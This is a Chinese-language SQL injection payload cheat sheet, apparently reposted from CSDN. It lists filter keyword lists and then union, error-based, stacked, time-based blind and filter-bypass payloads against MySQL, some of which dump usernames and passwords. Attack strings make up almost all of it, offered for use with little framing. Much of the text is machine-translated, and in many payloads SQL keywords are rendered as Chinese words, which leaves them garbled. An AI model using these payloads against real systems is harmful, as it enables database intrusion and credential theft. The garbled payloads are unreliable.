SQL注入payload速查 $sql注入

SQL注入payload速查人所恐惧的是对于未知事物的不确定性 SQL常见注释符有\”#“和”–“以及内联注释”/*!*/\” sqlmap使用手册:https://blog.csdn.net/2301_80127209/arti

人们害怕的是未知的不确定性

常见的SQL注释字符包括“#”和“-”以及内嵌注释“/*!*/”。

sqlmap使用手册:https://blog.csdn.net/2301_80127209/article/details/138612315

MySQL数据库注入知识点:https://wiki.wgpsec.org/knowledge/web/sql_injection.html

目录快递

[1] 过滤器列表

[2] 联合注射

[3] 错误注入

[4] 堆栈注入

[5] 延迟注射

[6] 绕过技巧

[7] 知识的进步

字符过滤(用于测试词典)

特殊字符

=

()

,

#

–+

+

^

%

\\

*

[]

|

`

/

;

#联合注入关键字

或者

在哪里

喜欢

选择

联盟

订购依据

数据库()

版本()

用户()

信息图式

表模式

表名

栏目名称

group_concat()

限制

#错误报告关键字注入

或者

在哪里

喜欢

选择

联盟

订购依据

数据库()

版本()

用户()

信息图式

表模式

表名

栏目名称

提取值()

更新xml()

地面()

指数()

左边()

正确的()

中()

连接()

group_concat()

限制

#堆叠注入关键字

展示

数据库

桌子

柱子

改名

改变

处理程序

打开

关闭

准备

链接

执行

#延迟插入关键词

如果

选择

数数

在哪里

限制

ASCII码

子串

睡觉()

标准()

延迟分析()

信息图式

桌子

柱子

返回目录

关节注射

#checkfield

按1\’1# 排序

1\’ 订购100# 单位

#Union查询(假设字段为3)

-1\’ Union select 1,2,3# //-1使页面报错,以便于显示

#检查所有数据库名称(假设echo为2)

-1\’ 并集选择1,database(),3#

-1\’ join 从information_schema.tables 选择1,database(),3#

#显示版本

-1\’ 联合选择1,version(),3#

#查看指定库的表名

-1\’ Union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=\’库名称\’#

#查看指定表的列名

-1\’ Union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=\’库名称\’ and table_name=\’表名称\’#

#显示指定列名的内容

-1\’ Union select 1,group_concat(列名1,0x3a,列名2),3 from 库名.列名#

返回目录

错误插入

#extractvalue() //过滤空格和“=”

1\’^extractvalue(1,concat(0x5c,(select(database()))))# //爆数据库名

1\’^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(\’库名\’))))# //查找表名

1\’^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(\’表名\’))))# //检查列名

1\’^extractvalue(1,concat(0x7e,(select(left(列名, 30))from(库名.表名))))# //从左边检查30个字段

1\’^extractvalue(1,concat(0x7e,(select(right(列名, 30))from(库名.表名))))#

#updatexml() 函数

1\’ and updatexml(1,concat(0x7e,(selectdatabase()),0x7e),1)# //扩展数据库

1\’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=\’库名\’ limit 0,1),0x7e),1)# //检查表名

1\’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=\’库名\’ and table_name=\’表名\’ limit 0,1),0x7e),1)# //检查列名

1\’ and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from user limit 0,1),0x7e),1)# //检查数据

#BigInt 数据类型溢出——exp() 或pow()

1\’ and exp(~(select * from (select user())a))# //显示当前库权限

1\’ and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a))# //查找表名

1\’ and exp(~(select * from (select column_name from information_schema.columns where table_name=\’表名\’ limit 0,1)a))# //检查列名

1\’ and exp(~(select * from(select \’列名\’ from \’表名\’ limit 0,1)))# //获取对应信息

#floor() 函数

1\’ and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

返回目录

堆栈注入

#常用查询语句

1\’;show Databases;# //查看数据库名称·

1\’;showtables;# //查看表名

1\’;show columns from `table name`;# //检查列名。表名用反引号括起来

#rename更改表和列

1\’;将表`表1`重命名为`表2`;将表`表3`重命名为`表1`;更改表`表1`更改`列1“列2`VARCHAR(100);下一列DisplayTable 1;# //将表1重命名为表2,将表3重命名为表1,然后将表1的第1列重命名为第2列,最后显示表1的第1列; //适合无权限查看的表面

#handler从表中读取数据

1\’;HANDLER 表名OPEN;HANDLER 表名READ FIRST;HANDLER 表名CLOSE;# //此方法用于查询列时禁用选择并打开指定表名并读取第一行。要删除表中的数据,请关闭表以释放资源。

#设置转换运算符

1;set sql_mode=PIPES_AS_CONCAT;select 1 //如果后端代码使用“||”确定,则适用。

#sql预处理

PREPARE hacker from concat(\’s\’,\’elect\’, \’ * from `table name` \’);

EXECUTE hacker;# //绕过特定字符串的过滤

set@a=hex编码值;prepare hacker from @a;run hacker;# //结合hex(base)编码实现绕过

返回目录

延迟注射

#常规判断

1\’ and (sleep(5))–+ //延迟5秒

#测试数据库长度

1\’ and if(length(database())=1,sleep(5),1)–+ #无延迟

1\’ and if(length(database())=2,sleep(5),1)–+ #无延迟

1\’ and if(length(database())=3,sleep(5),1)–+ #无延迟

.

1\’ and if(length(database())=8,sleep(5),1)–+ #延迟5秒

//数据库名长度为8

#猜测盲注数据库名称

1\’ and if(ascii(substr(database(),1,1))97,sleep(5),1)–+ #延迟5秒

1\’ and if(ascii(substr(database(),1,1))120,sleep(5),1)–+ #无延迟

//数据库名称第一个字符的ASCII码在97到120之间,第二个和第三个字符也是如此,以缩小ASCII码范围.

.

1\’ and if(ascii(substr(database(),1,1))=115,sleep(5),1)–+ #延迟5秒

1\’ and if(ascii(substr(database(),2,1))=101,sleep(5),1)–+ #延迟5秒

1\’ and if(ascii(substr(database(),3,1))=99,sleep(5),1)–+ #延迟5秒

1\’ and if(ascii(substr(database(),4,1))=117,sleep(5),1)–+ #延迟5秒

1\’ and if(ascii(substr(database(),5,1))=114,sleep(5),1)–+ #延迟5秒

1\’ and if(ascii(substr(database(),6,1))=105,sleep(5),1)–+ #延迟5秒

1\’ and if(ascii(substr(database(),7,1))=116,sleep(5),1)–+ #延迟5秒

1\’ and if(ascii(substr(database(),8,1))=121,sleep(5),1)–+ #延迟5秒

第一个字符的ASCII 码是115,因此第一个字符是“s”,依此类推。

#确定表的数量

1\’ 和if((从information_schema.tables 中选择count(table_name)。

table_schema=\’库名\’)=4,sleep(2),0)–+ //判断表数量是否为4

.

#确定表长度

1\’ 和if(length((从information_schema.tables 中选择table_name。

table_schema=\’库名\’ limit 3,1))=5,sleep(3),1)–+ //判断库中第四个表名的长度是否为5

.

#确定表名的ASCII码(表名长度为5)

1\’ 和if(ascii(substr((从information_schema.tables 中选择table_name。

table_schema=\’库名\’ limit 3,1),1,1))=117,sleep(3),1)–+ //第一个子符号

1\’ 和if(ascii(substr((

table_schema=\’库名\’ limit 3,1),2,1))=115,sleep(3),1)–+ //第二个字符

1\’and if(ascii(substr((从information_schema.tables 中选择table_name。

table_schema=\’库名\’ limit 3,1),3,1))=101,sleep(3),1)–+ //第3个字符

1\’ 和if(ascii(substr((

table_schema=\’库名\’ limit 3,1),4,1))=114,sleep(3),1)–+ //第4个字符

1\’and if(ascii(substr((从information_schema.tables 中选择table_name。

table_schema=\’库名\’ limit 3,1),5,1))=115,sleep(3),1)–+ //第5个字符

//以上操作用于推断给定库中第四个表名对应的ASCII码。 ASCII 码分别为177、115、101、114 和115。

#确定列数

1\’ 和if((从information_schema.columns 中选择count(column_name)。

table_schema=\’库名\’ and table_name=\’表名\’)=3,sleep(5),0)–+ //判断指定表是否有3个列名

.

#确定列名的长度

1\’ 和if(length((从information_schema.columns 中选择列名称。

table_schema=\’库名\’ and table_name=\’表名\’ limit 0,1))=8,sleep(5),1)–+ //指定表的第一个列名长度为8判断是否

.

#确定列名的ASCII码

1\’ 和if(ascii(substr(从information_schema.columns 中选择column_name with table_schema=database() and table_name=\’users\’ limit 1,1),1,1)))=117,sleep(5) ,1)- -+ //第一个字符

1\’ 和if(ascii(substr((从information_schema.columns 中选择column_name with table_schema=database() and table_name=\’users\’ limit 1,1),2,1)))=115,sleep(5) ,1) – -+ //第二个字符

1\’ 和if(ascii(substr(从information_schema.columns 中选择column_name with table_schema=database() and table_name=\’users\’ limit 1,1),3,1)))=101,sleep(5) ,1)- -+ //第三个字符

1\’ 和if(ascii(substr(从information_schema.columns 中选择column_name with table_schema=database() and table_name=\’users\’ limit 1,1),4,1)))=114,sleep(5) ,1)- -+ //第四个字符

1\’ 和if(ascii(substr(从information_schema.columns 中选择column_name with table_schema=database() and table_name=\’users\’ limit 1,1),5,1)))=110,sleep(5) ,1)- -+ //第5个字符

1\’ 和if(ascii(substr(从information_schema.columns 中选择column_name for (table_schema=database() and table_name=\’users\’ limit 1,1),6,1)))=97,sleep(5) ,1) – -+ //第6个字符

1\’ 和if(ascii(substr(从information_schema.columns 中选择column_name with table_schema=database() and table_name=\’users\’ limit 1,1),7,1)))=109,sleep(5) ,1)- -+ //第7个字符

1\’ 和if(ascii(substr(从information_schema.columns 中选择column_name with table_schema=database() and table_name=\’users\’ limit 1,1),8,1)))=101,sleep(5) ,1)- -+ //第8个字符

//以上操作用于推断指定库中第一个列名对应的ASCII码。 ASCII 码分别为177、115、101、114、110、97、109、101。

#猜测字段

1\’ and if(ascii(substr((从表名限制中选择列名0,1),1,1))=68,sleep(5),1)–+ //第一个字符

1\’ and if(ascii(select 列名from substr((表名限制0,1),2,1))=68,sleep(5),1)–+ //第二个字符

.

延迟注入和布尔盲注入是需要大量工作的注入方法。如果条件允许,建议您直接使用sqlmap或者自己编写自动化脚本,以减少注入工作量。

返回目录

绕过技巧

字符替换

1.\’=\’=\’like\’ or \’REGEXP\’ or \’!(table_name\’admin\’)\’ //\’REGEXP\’是普通匹配字符,在一定条件下可以代替等号

2.\’#\’=\’%23\’

3. 空格=\’/**/\’ 或\’%0a\’ 或\’%0b\’ 或\’%0d\’ 或\’%a0\’ 或\’`\’

4.\’或\’=\’||\’

5.“和”=“”

6.\’xor\’=\’|\’ or \’^\’ //如果两个条件之一为真,则\’xor\’ 返回true:全真或全假。返回假。

7.“不”=“!”

关键字符及关键字被过滤

#绕过空格字符

1./*!*/#行内注释字符

2./**/#注释字符

3.%a0 #URL编码换行符

4.() #查询语句如果逻辑清晰就可以被识别。

5.“ # 反引号前也可以留一个空格

6. 加号(+)#起到连接作用,可以代替空格。

其他绕过思路

1.宽字节绕过,%df#单引号被过滤掉,数据库使用gbk编码。

2.Encoding Bypass #对过滤或检测到的字符进行编码(URL编码、Unicode编码、十六进制编码、双URL编码、ASCII编码)

3.绕过等效功能#一些未禁用的功能可以替代一些黑名单功能

4.案例旁路

5.双写旁路

6. 断线绕过

返回目录

知识的进步

从其他数据库注入学习

MYYSQL

甲骨文

以上关于#SQL注入负载快速检查的相关内容仅供大家参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91215.html

Like (0)
CSDN的头像CSDN
Previous 2024年6月21日
Next 2024年6月21日

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注